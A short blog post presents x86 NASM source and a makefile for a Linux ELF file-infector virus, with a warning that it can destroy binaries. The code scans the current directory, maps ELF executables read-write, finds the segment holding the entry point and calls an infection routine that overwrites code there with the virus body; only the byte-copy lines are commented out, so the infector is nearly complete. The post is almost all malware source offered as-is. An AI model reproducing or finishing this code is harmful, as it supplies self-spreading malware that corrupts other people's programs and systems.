GNU/linux virii example
Warning, this code can be destroy binaries on local directory! Is dangerous code, use at your own risk and NEVER run as root
Code:
%define _syscall 0x80 %define _exit 0x1 %define _write 0x4 %define _open 0x5 %define _close 0x6 %define _lseek 0x13 %define _readdir 0x59 %define _mmap 0x5a %define _munmap 0x5b %define STDOUT 0x1 %define O_RDONLY 0x0 %define O_RDWR 0x2 %define SEEK_END 0x2 %define PROT_READ 0x1 %define PROT_WRITE 0x2 %define MAP_SHARED 0x1 %define PT_LOAD 0x1 %define CODE_START EBP-4 %define CODE_END EBP-8 %define DIR_DESCRIPTOR EBP-16 %define DIR_POINTER EBP-20 %define FILE_DESCRIPTOR EBP-296 %define FILE_SIZE EBP-300 %define MMAP_ADDR EBP-332 %define ELF_ENTRYPOINT EBP-344 %define ELF_PHOFF EBP-348 %define ELF_PHSIZE EBP-352 %define ELF_PHNUM EBP-356 %define PH_FILEOFF EBP-368 %define PH_VADDR EBP-372 %define PH_FILESIZE EBP-376 %define MIN_FILESIZE 1024*2 %define MAX_FILESIZE 1024*1024*25 %define FILE_ELF_ENTRYPOINT 24 %define FILE_ELF_PROGRAM_HEADER_OFFSET 32 global _start section .text ; #################################################### ; # EntryPoint ; #################################################### _start: jmp linux_host ; #################################################### ; # GNU/linux part ; #################################################### linux_host: ; [CODE_START] - 0xc ; [CODE_END] + 0x9 mov EBP, ESP ; any points must have a reference call _end greetings_str: db "Hello world from GNU/linux!",0xa,0 greetings_str_l equ $ - greetings_str _real_start: write_hello_world: mov EAX, _write ; mov EBX, STDOUT ; mov ECX, [CODE_START] ; mov EDX, greetings_str_l ; int _syscall ; write hello opendir: mov EAX, '.' ; construct string "." push EAX ; actualy on ESP mov EAX, _open ; mov EBX, ESP ; mov ECX, O_RDONLY ; int _syscall ; cmp EAX, -1 ; jle exit ; push EAX ; save the descriptor EBP-16 (DIR_DESCRIPTOR) mov EAX, 446 ; push EAX ; save the actual dirp in EBP-16 (DIR_POINTER) sub ESP, 268 ; allocate space for readdir struct readdir: mov EAX, _readdir mov EBX, [DIR_DESCRIPTOR] mov ECX, ESP mov EDX, [DIR_POINTER] int _syscall cmp EAX, 1 jne .exit mov [DIR_POINTER], EAX call open jmp readdir .exit: mov EAX, _close ; mov EBX, [DIR_DESCRIPTOR] ; int _syscall ; close directory add ESP, 4 ; restore stack jmp exit open: mov EAX, _open ; open file mov EBX, EBP ; sub EBX, 278 ; obtain file name string from stack mov ECX, O_RDWR ; int _syscall ; cmp EAX, -1 ; jle .exit ; push EAX ; save the descriptor (FILE_DESCRIPTOR) .filesize: mov EAX, _lseek ; mov EBX, [FILE_DESCRIPTOR] ; mov ECX, 0x0 ; mov EDX, SEEK_END ; int _syscall ; determine filesize .filters: cmp EAX, MIN_FILESIZE ; jle .close ; simple minimum filesize filter cmp EAX, MAX_FILESIZE ; jge .close ; simple maximum filesize filter push EAX ; save the file size in (FILE_SIZE) call mmap add ESP, 4 .close: mov EAX, _close ; mov EBX, [FILE_DESCRIPTOR] ; int _syscall ; close file add ESP, 4 ; restore stack .exit: ret mmap: mov EAX, 0x0 push EAX mov EAX, [FILE_DESCRIPTOR] push EAX mov EAX, MAP_SHARED push EAX mov EAX, PROT_READ | PROT_WRITE push EAX mov EAX, [FILE_SIZE] push EAX mov EAX, 0x0 push EAX mov EBX, ESP mov EAX, _mmap int _syscall cmp EAX, -1 je .restoremap push EAX ; save mmap addr (MMAP_ADDR) call identify .munmap: mov EAX, _munmap mov EBX, [MMAP_ADDR] mov ECX,[FILE_SIZE] int _syscall add ESP, 4 .restoremap: add ESP, 24 ; restore stack .exit: ret identify: mov EBX, [MMAP_ADDR] mov EAX, [EBX] cmp EAX, 0x464c457f ; 0x7f, 'E', 'L', 'F' jne .exit add EBX, 4 mov EAX, [EBX] cmp EAX, 0x00010101 ; 0x1, 0x1, 0x1, 0x0 jne .exit call iself .exit: ret iself: mov EBX, [MMAP_ADDR] ; add EBX, FILE_ELF_ENTRYPOINT ; mov EAX, [EBX] ; obtain entrypoint push EAX ; save entrypoint (ELF_ENTRYPOINT) add EBX, 4 ; mov EAX, [EBX] ; obtain program header offset push EAX ; save them (ELF_PHOFF) cmp EAX, 0 ; have a valid program je .exit ; header? add EBX, 14 ; mov EAX, 0 ; mov AX, [EBX] ; obtain program header entry push EAX ; size and save them (ELF_PHSIZE) add EBX, 2 ; mov EAX, 0 ; mov AX, [EBX] ; obtain program headers number push EAX ; and save them (ELF_PHNUM) mov EDX, [MMAP_ADDR] ; add EDX, [ELF_PHOFF] ; sub EDX, [ELF_PHSIZE] ; addr of section mov ECX, 0 ; mov CX, [ELF_PHNUM] ; counter for loop .walksections: add EDX, [ELF_PHSIZE] ; next section mov EAX, [EDX] ; push EDX push ECX cmp EAX, PT_LOAD ; je .isloadable ; is loadable segment? .postloadbl: pop ECX pop EDX loop .walksections .cleanup: add ESP, 8 .exit: add ESP, 8 ret .isloadable: add EDX, 4 mov EAX, [EDX] push EAX ; save file offset PH_FILEOFF add EDX, 4 mov EAX, [EDX] push EAX ; save virtual addr PH_VADDR add EDX, 8 mov EAX, [EDX] push EAX ; save size in file PH_FILESIZE mov EAX, [PH_VADDR] ; mov EBX, [ELF_ENTRYPOINT] ; cmp EAX, EBX ; is the entrypoint more than jge .clean ; this section? mov EAX, [PH_FILESIZE] ; add EAX, [PH_VADDR] ; max size mov EBX, [ELF_ENTRYPOINT] ; cmp EAX, EBX ; is the entrypoint smaller than jle .clean ; this section? ; at this point the section are identified by the code call infectroutine .clean: add ESP, 12 jmp .postloadbl infectroutine: mov EAX, [ELF_ENTRYPOINT] ; sub EAX, [PH_VADDR] ; add EAX, [PH_FILEOFF] ; offset code in EAX add EAX, [MMAP_ADDR] ; mem offset ; [CODE_START] - 0xc ; [CODE_END] + 0x9 mov ECX, [CODE_START] ; sub ECX, 0xc ; start addr mov EDX, [CODE_END] ; end addr .cloneloop: ; Comented for security reasons ; mov BL, [ECX] ; ; mov [EAX], BL ; dump virii ; add EAX, 1 ; ; add ECX, 1 ; cmp ECX, EDX ; jl .cloneloop ret exit: mov EAX, _exit mov EBX, 69 int _syscall _end: call _real_startAnd the makefile:
all: virii virii: nasm -f elf virii_linux.nasm ld -e _start virii_linux.o -o virii_linux
Posted at BinaryCell
Comments
Post a Comment